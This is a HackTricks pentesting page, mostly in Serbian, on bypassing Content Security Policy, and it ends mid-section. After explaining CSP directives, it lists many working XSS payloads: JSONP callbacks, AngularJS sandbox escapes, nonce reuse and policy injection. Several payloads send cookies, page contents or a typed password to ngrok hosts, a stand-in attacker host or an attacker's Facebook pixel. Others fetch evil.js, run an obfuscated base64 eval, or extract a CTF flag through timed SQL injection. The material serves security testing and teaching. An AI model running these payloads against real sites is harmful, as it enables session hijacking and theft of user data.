Content Security Policy (CSP) Bypass
Reading time: 32 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je CSP
Content Security Policy (CSP) je prepoznat kao browser tehnologija, prvenstveno namenjena shielding against attacks such as cross-site scripting (XSS). Funkcioniše tako što definiše i precizira puteve i izvore sa kojih pregledač može bezbedno učitavati resurse. Ti resursi obuhvataju različite elemente kao što su slike, frame-ovi i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući inline resurse i izvršavanje string koda kroz funkcije kao što su eval
, setTimeout
ili setInterval
.
Implementacija CSP-a se sprovodi kroz response headers ili ubacivanjem meta elements into the HTML page. Pregledači, poštujući ovu politiku, aktivno primenjuju ova pravila i odmah blokiraju svako otkriveno kršenje.
- Implementirano putem response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementirano putem meta taga:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Zaglavlja
CSP se može primenjivati ili nadgledati pomoću sledećih zaglavlja:
Content-Security-Policy
: Primenjuje CSP; pregledač blokira svako kršenje.Content-Security-Policy-Report-Only
: Koristi se za nadzor; izveštava o kršenjima bez njihovog blokiranja. Idealno za testiranje u predprodukcijskim okruženjima.
Definisanje resursa
CSP ograničava porekla za učitavanje i aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i upotreba eval()
. Primer politike je:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direktive
- script-src: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute event handler-ima ili XSLT stylesheet-ima.
- default-src: Postavlja podrazumevanu politiku za dohvat resursa kada specifične direktive za dohvat nedostaju.
- child-src: Specifikuje dozvoljene resurse za web workere i sadržaj ugrađenih frame-ova.
- connect-src: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
- frame-src: Ograničava URL-ove za frame-ove.
- frame-ancestors: Navodi koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su
<frame>
,<iframe>
,<object>
,<embed>
i<applet>
. - img-src: Definiše dozvoljene izvore za slike.
- font-src: Specifikuje validne izvore za fontove učitane korišćenjem
@font-face
. - manifest-src: Definiše dozvoljene izvore za manifest fajlove aplikacija.
- media-src: Definiše dozvoljene izvore za učitavanje medijskih objekata.
- object-src: Definiše dozvoljene izvore za elemente
<object>
,<embed>
i<applet>
. - base-uri: Navodi dozvoljene URL-ove za učitavanje pomoću
<base>
elemenata. - form-action: Navodi validne endpoint-e za slanje formi.
- plugin-types: Ograničava MIME tipove koje stranica može pozvati.
- upgrade-insecure-requests: Nalaže browserima da prepišu HTTP URL-ove u HTTPS.
- sandbox: Primjenjuje ograničenja slična sandbox atributu
<iframe>
-a. - report-to: Navodi grupu kojoj će izveštaj biti poslat ako je politika prekršena.
- worker-src: Navodi validne izvore za Worker, SharedWorker ili ServiceWorker skripte.
- prefetch-src: Navodi validne izvore za resurse koji će biti dohvaćeni ili prefetch-ovani.
- navigate-to: Ograničava URL-ove ka kojima dokument može navigirati na bilo koji način (a, form, window.location, window.open, itd.)
Izvori
*
: Dozvoljava sve URL-ove osim onih sa šemamadata:
,blob:
,filesystem:
.'self'
: Dozvoljava učitavanje sa iste domene.'data'
: Dozvoljava učitavanje resursa preko data šeme (npr. Base64 enkodirane slike).'none'
: Blokira učitavanje sa bilo kog izvora.'unsafe-eval'
: Dozvoljava upotrebueval()
i sličnih metoda; nije preporučljivo iz bezbednosnih razloga.'unsafe-hashes'
: Omogućava specifične inline event handlere.'unsafe-inline'
: Dozvoljava upotrebu inline resursa kao što su inline<script>
ili<style>
; nije preporučljivo iz bezbednosnih razloga.'nonce'
: Whitelist za specifične inline skripte koje koriste kriptografski nonce (broj koji se koristi jednom).- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice pomoću
doc.defaultView.top.document.querySelector("[nonce]")
i zatim ga ponovo iskoristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitavati nove izvore pa ovo nije potrebno), kao u:
Učitaj skriptu ponovnim korišćenjem nonce-a
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Dozvoljava skripte sa specifičnim sha256 hash-om.'strict-dynamic'
: Dozvoljava učitavanje skripti sa bilo kog izvora ako su odobrene putem nonce-a ili hash-a.'host'
: Navodi specifičan host, kao npr.example.com
.https:
: Ograničava URL-ove na one koji koriste HTTPS.blob:
: Dozvoljava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript-a).filesystem:
: Dozvoljava učitavanje resursa iz filesystem-a.'report-sample'
: Uključuje uzorak koda koji krši pravilo u izveštaju o kršenju (korisno za otklanjanje grešaka).'strict-origin'
: Slično 'self', ali osigurava da nivo sigurnosti protokola izvora odgovara dokumentu (samo sigurni origin-i mogu učitavati resurse iz sigurnih origin-a).'strict-origin-when-cross-origin'
: Šalje pune URL-ove za zahteve unutar istog origin-a, ali pri cross-origin zahtevu šalje samo origin.'unsafe-allow-redirects'
: Dozvoljava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Ne preporučuje se jer slabi bezbednost.
Nesigurna CSP pravila
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Radni payload: "/><script>alert(1);</script>
self + 'unsafe-inline' putem Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
Ovo ne radi, za više informacija check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Radni payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Ako na neki način uspeš da nateraš allowed script da u DOM kreira allowed JS code created a new script tag koji sadrži tvoj JS kod, tada će se new script tag will be allowed to be executed.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Radni payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Nedostatak object-src i default-src
[!CAUTION] > Izgleda da ovo više ne radi
Content-Security-Policy: script-src 'self' ;
Radni payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Otpremanje fajla + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Ako možete да отпремите JS fajl, можете заобићи овај CSP:
Working payload:
"/>'><script src="/uploads/picture.png.js"></script>
Međutim, vrlo je verovatno da server validira otpremljenu datoteku i da će ti dozvoliti samo da otpremiš određene tipove datoteka.
Štaviše, čak i ako bi mogao da otpremiš JS code unutar datoteke koristeći ekstenziju koju server prihvata (npr. script.png), to neće biti dovoljno jer neki serveri, kao apache, biraju MIME type datoteke na osnovu ekstenzije, a browseri poput Chrome će odbiti da izvrše Javascript kod unutar nečega što bi trebalo da bude slika. "Srećom", prave se greške. Na primer, iz CTF-a sam naučio da Apache ne prepoznaje ekstenziju .wave, pa je ne servira sa MIME type kao audio/*.
U tom slučaju, ako nađeš XSS i opciju za otpremanje fajlova, i uspeš da pronađeš pogrešno interpretiranu ekstenziju, možeš pokušati da otpremiš datoteku sa tom ekstenzijom koja sadrži sadržaj skripta. Ili, ako server proverava ispravan format otpremljene datoteke, napravi polyglot (some polyglot examples here).
Form-action
Ako nije moguće injektovati JS, i dalje možeš pokušati da izvučeš, na primer, kredencijale ubacivanjem form action-a (i možda računajući na to da će password managers automatski popuniti lozinke). Možeš pronaći example in this report. Takođe, imaj na umu da default-src
ne pokriva form actions.
Third Party Endpoints + ('unsafe-eval')
warning
Za neke od sledećih payload-ova unsafe-eval
čak i nije potreban.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Učitaj ranjivu verziju angular i izvrši proizvoljni JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads koji koriste Angular + biblioteku sa funkcijama koje vraćaju window
objekat (check out this post):
tip
Članak pokazuje da možete učitati sve biblioteke sa cdn.cloudflare.com
(ili bilo kojeg drugog dozvoljenog JS libraries repo), izvršiti sve dodate funkcije iz svake biblioteke, i proveriti koje funkcije iz kojih biblioteka vraćaju window
objekat.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS iz imena klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Zloupotreba google recaptcha JS koda
Prema this CTF writeup možete zloupotrebiti https://www.google.com/recaptcha/ unutar CSP-a da izvršite proizvoljan JS kod i zaobiđete CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Više payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Zloupotreba www.google.com za open redirect
Sledeći URL preusmerava na example.com (iz here):
https://www.google.com/amp/s/example.com/
Zlouporaba *.google.com/script.google.com
Moguće je zloupotrebiti Google Apps Script da bi se primile informacije na stranici unutar script.google.com. Kao što je done in this report.
Endpointi trećih strana + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenariji poput ovog, gde je script-src
podešen na self
i određeni domen koji je whitelisted, mogu se zaobići korišćenjem JSONP-a. JSONP endpoints dozvoljavaju nesigurne callback metode koje omogućavaju napadaču da izvede XSS, radni payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee sadrži spremne JSONP endpoint-e za CSP bypass različitih web sajtova.
Ista ranjivost će se pojaviti ako trusted endpoint contains an Open Redirect, jer ako je početni endpoint pouzdan, redirecti se smatraju pouzdanim.
Zloupotrebe trećih strana
Kao što je opisano u following post, postoji mnogo domena trećih strana koji mogu biti dozvoljeni negde u CSP-u i mogu se zloupotrebiti da exfiltrate data ili execute JavaScript code. Neki od tih third-parties su:
Entitet | Dozvoljeni domen | Mogućnosti |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, velike su šanse da ćete moći zaobići CSP tako što ćete se registrovati na third-party service i ili exfiltrate data na taj servis ili execute code.
Na primer, ako pronađete sledeći CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
ili
Content-Security-Policy: connect-src www.facebook.com;
You should be able to exfiltrate data, similarly as it has always be done with Google Analytics/Google Tag Manager. In this case, you follow these general steps:
- Kreirajte Facebook Developer account ovde.
- Kreirajte novu "Facebook Login" app i izaberite "Website".
- Idite na "Settings -> Basic" i dobijte vaš "App ID"
- Na ciljnom sajtu sa kojeg želite exfiltrate data, možete exfiltrate data direktno koristeći Facebook SDK gadget "fbq" kroz "customEvent" i data payload.
- Idite u vaš App "Event Manager" i izaberite aplikaciju koju ste kreirali (napomena: event manager se može naći na URL-u sličnom ovom: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Izaberite tab "Test Events" da vidite evente koje šalje "vaš" web site.
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Što se tiče ostalih sedam domena trećih strana navedenih u prethodnoj tabeli, postoji mnogo drugih načina na koje ih možete zloupotrebiti. Pogledajte prethodni blog post za dodatna objašnjenja o drugim zloupotrebama domena trećih strana.
Bypass via RPO (Relative Path Overwrite)
Pored prethodno pomenutog preusmeravanja koje služi za bypass ograničenja putanja, postoji još jedna tehnika nazvana Relative Path Overwrite (RPO) koja se može koristiti na nekim serverima.
Na primer, ako CSP dozvoljava putanju https://example.com/scripts/react/
, moguće je izvršiti bypass na sledeći način:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
The browser will ultimately load https://example.com/scripts/angular/angular.js
.
Ovo funkcioniše zato što za browser učitavate fajl nazvan ..%2fangular%2fangular.js
koji se nalazi pod https://example.com/scripts/react/
, što je u skladu sa CSP.
Zatim, oni će ga dekodirati, efektivno zahtevajući https://example.com/scripts/react/../angular/angular.js
, što je ekvivalentno https://example.com/scripts/angular/angular.js
.
By exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed.
Rešenje je da se %2f
ne tretira kao /
na server-side, obezbeđujući konzistentno tumačenje između browser-a i servera kako bi se izbegao ovaj problem.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Iframes JS execution
missing base-uri
Ako je direktiva base-uri odsutna, možete je iskoristiti za izvođenje a dangling markup injection.
Štaviše, ako page is loading a script using a relative path (like <script src="/js/app.js">
) koristeći Nonce, možete zloupotrebiti base tag da naterate da se skripta load sa your own server achieving a XSS.
Ako je ranjiva stranica učitana preko httpS, koristite httpS url u base.
<base href="https://www.attacker.com/" />
AngularJS events
Specifična politika poznata kao Content Security Policy (CSP) može ograničiti JavaScript događaje. Ipak, AngularJS uvodi prilagođene događaje kao alternativu. Unutar događaja, AngularJS obezbeđuje jedinstveni objekat $event
, koji predstavlja nativni objekat događaja pretraživača. Ovaj $event
objekat može biti iskorišćen da bi se zaobišla CSP. Značajno, u Chrome-u, $event/event
objekat poseduje atribut path
, koji sadrži niz objekata uključenih u lanac izvršavanja događaja, pri čemu je objekat window
uvek na kraju. Ova struktura je ključna za sandbox escape taktike.
Usmeravanjem ovog niza na orderBy
filter, moguće je iterirati preko njega i iskoristiti poslednji element (objekat window
) da pozove globalnu funkciju kao alert()
. Prikazani kod ispod ilustruje ovaj proces:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Ovaj primer ističe upotrebu ng-focus
direktive da pokrene događaj, koristeći $event.path|orderBy
za manipulaciju nizom path
, i oslanjajući se na objekat window
da izvrši alert()
funkciju, čime se otkriva document.cookie
.
Pronađite druge Angular bypasses na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS i whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
CSP politika koja na whitelist stavlja domene za učitavanje skripti u Angular JS aplikaciji može se zaobići pozivanjem callback funkcija i određenih ranjivih klasa. Dodatne informacije o ovoj tehnici mogu se naći u detaljnom vodiču dostupnom na ovom git repository.
Working payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Ostali JSONP arbitrary execution endpoints mogu se pronaći u here (neki od njih su uklonjeni ili ispravljeni)
Zaobilaženje putem preusmeravanja
Šta se dešava kada CSP naiđe na server-side preusmeravanje? Ako preusmeravanje vodi na drugi origin koji nije dozvoljen, ono će i dalje biti odbijeno.
Međutim, prema opisu u CSP spec 4.2.2.3. Paths and Redirects, ako preusmeravanje vodi na drugu putanju, može zaobići originalna ograničenja.
Evo primera:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Ako je CSP postavljen na https://www.google.com/a/b/c/d
, pošto se putanja uzima u obzir, i skripte /test
i /a/test
biće blokirane od strane CSP.
Međutim, konačni http://localhost:5555/301
će biti preusmeren na serverskoj strani na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Pošto je u pitanju redirekcija, putanja se ne uzima u obzir, i skripta može biti učitana, čime se zaobilazi ograničenje putanje.
Sa ovom redirekcijom, čak i ako je putanja u potpunosti specificirana, i dalje će biti zaobiđena.
Zato je najbolje rešenje osigurati da sajt nema open redirect ranjivosti i da u CSP pravilima nema domena koji se mogu iskoristiti.
Bypass CSP with dangling markup
Pročitajte kako ovde.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
znači da možeš izvršiti bilo koju skriptu unutar koda (XSS može izvršiti kod) a img-src *
znači da možeš koristiti na web stranici bilo koju sliku iz bilo kog izvora.
Možeš zaobići ovaj CSP eksfiltracijom podataka putem slika (u ovom slučaju XSS zloupotrebljava CSRF gde stranica dostupna botu sadrži SQLi, i izvuče flag putem slike):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
Iz: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Takođe možete zloupotrebiti ovu konfiguraciju da učitate javascript kod umetnut u sliku. Ako, na primer, stranica dozvoljava učitavanje slika sa Twitter-a. Možete kreirati specijalnu sliku, otpremiti je na Twitter i zloupotrebiti "unsafe-inline" da izvršite JS kod (kao regularan XSS) koji će učitati sliku, izvući JS iz nje i izvršiti ga: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
With Service Workers
Service workers importScripts
funkcija nije ograničena CSP-om:
Policy Injection
Research: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Ako se parametar koji pošaljete ubacuje u deklaraciju policy, onda biste mogli izmeniti policy na neki način koji ga čini beskorisnim. Mogli biste dozvoliti script 'unsafe-inline' pomoću bilo kog od ovih bypass-ova:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Zato što će ova direktiva prepisati postojeće script-src direktive.
Možete pronaći primer ovde: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
U Edge je mnogo jednostavnije. Ako u CSP možete dodati samo ovo: ;_
Edge bi uklonio celu politiku.
Primer: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
Obratite pažnju na nedostatak direktive 'unsafe-inline'
Ovoga puta možete naterati victim da load stranicu pod your control preko XSS with a <iframe
. Ovoga puta ćete naterati victim da pristupi stranici sa koje želite izvući informacije (CSRF). Ne možete pristupiti sadržaju stranice, ali ako na neki način možete kontrolisati vreme potrebno stranici da se učita možete izvući informacije koje su vam potrebne.
Ovoga puta će biti izvučen flag — kad god je char je pravilno pogođen putem SQLi, response zahteva više vremena zbog sleep funkcije. Tada ćete moći izvući flag:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Preko Bookmarklets
Ovaj napad podrazumeva social engineering gde napadač ubedi korisnika da prevuče i pusti link preko bookmarkleta u pregledaču. Taj bookmarklet bi sadržao malicious javascript kod koji bi, kada se drag&dropped ili klikne, bio izvršen u kontekstu trenutnog web prozora, bypassing CSP and allowing to steal sensitive information kao što su cookies ili tokens.
For more information check the original report here.
CSP bypass ograničavanjem CSP
U this CTF writeup, CSP se zaobilazi ubacivanjem unutar dozvoljenog iframe-a restriktivnijeg CSP-a koji je onemogućio učitavanje određenog JS fajla, koji je zatim, putem prototype pollution ili dom clobbering, omogućio da se abuse a different script to load an arbitrary script.
Možete ograničiti CSP Iframe-a koristeći atribut csp
:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeup, bilo je moguće putem HTML injection dodatno ograničiti CSP tako da je skripta koja sprečava CSTI bila onemogućena i stoga je ranjivost postala iskoristiva.\
CSP se može učiniti strožijim korišćenjem HTML meta tags, a inline scripts se mogu onemogućiti uklanjanjem entry koji dozvoljava njihov nonce i omogućavanjem specifičnog inline scripta putem sha:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration with Content-Security-Policy-Report-Only
Ako uspete da naterate server da odgovori sa headerom Content-Security-Policy-Report-Only
čija je vrednost pod vašom kontrolom (možda zbog CRLF), možete ga usmeriti na svoj server i ako obmotate JS content koji želite da exfiltrate unutar <script>
, pošto je vrlo verovatno da unsafe-inline
nije dozvoljen od strane CSP-a, to će izazvati CSP error i deo skripta (koji sadrži osetljive informacije) biće poslat serveru preko Content-Security-Policy-Report-Only
.
Za primer check this CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking Information with CSP and Iframe
- Kreira se
iframe
koji pokazuje na URL (nazovimo gahttps://example.redirect.com
) koji je dozvoljen prema CSP. - Taj URL zatim preusmerava na tajni URL (npr.
https://usersecret.example2.com
) koji nije dozvoljen prema CSP. - Prateći događaj
securitypolicyviolation
, moguće je uhvatiti svojstvoblockedURI
. Ovo svojstvo otkriva domen blokiranog URI-ja, leaking tajni domen na koji je inicijalni URL bio preusmeren.
Zanimljivo je primetiti da browseri kao što su Chrome i Firefox različito postupaju sa iframe
-ovima u odnosu na CSP, što zbog neodređenog ponašanja može dovesti do potencijalnog leakage osetljivih informacija.
Druga tehnika uključuje iskorišćavanje same CSP da bi se zaključio tajni subdomen. Ova metoda se oslanja na binary search algorithm i na podešavanje CSP tako da uključuje specifične domene koji su namerno blokirani. Na primer, ako je tajni subdomen sastavljen od nepoznatih karaktera, možete iterativno testirati različite subdomene modifikovanjem CSP direktive da blokira ili dozvoli te subdomene. Evo snippet-a koji pokazuje kako bi CSP mogao biti postavljen da omogući ovu metodu:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Prateći koji zahtevi su blokirani ili dozvoljeni od strane CSP-a, može se suziti skup mogućih znakova u tajnom poddomenу, na kraju otkrivajući pun URL.
Obe metode iskorišćavaju nijanse implementacije CSP-a i ponašanja u browserima, pokazujući kako naizgled bezbedne politike mogu nenamerno izazvati leak osetljivih informacija.
Trik iz here.
Nepouzdane tehnologije za Bypass CSP
PHP greške kada ima previše parametara
Prema last technique commented in this video, slanjem previše parametara (1001 GET parametar; moguće je i sa POST parametrima i sa više od 20 fajlova). Bilo koja definisana header()
u PHP web kodu neće biti poslata zbog greške koju ovo izaziva.
PHP preopterećenje bafera odgovora
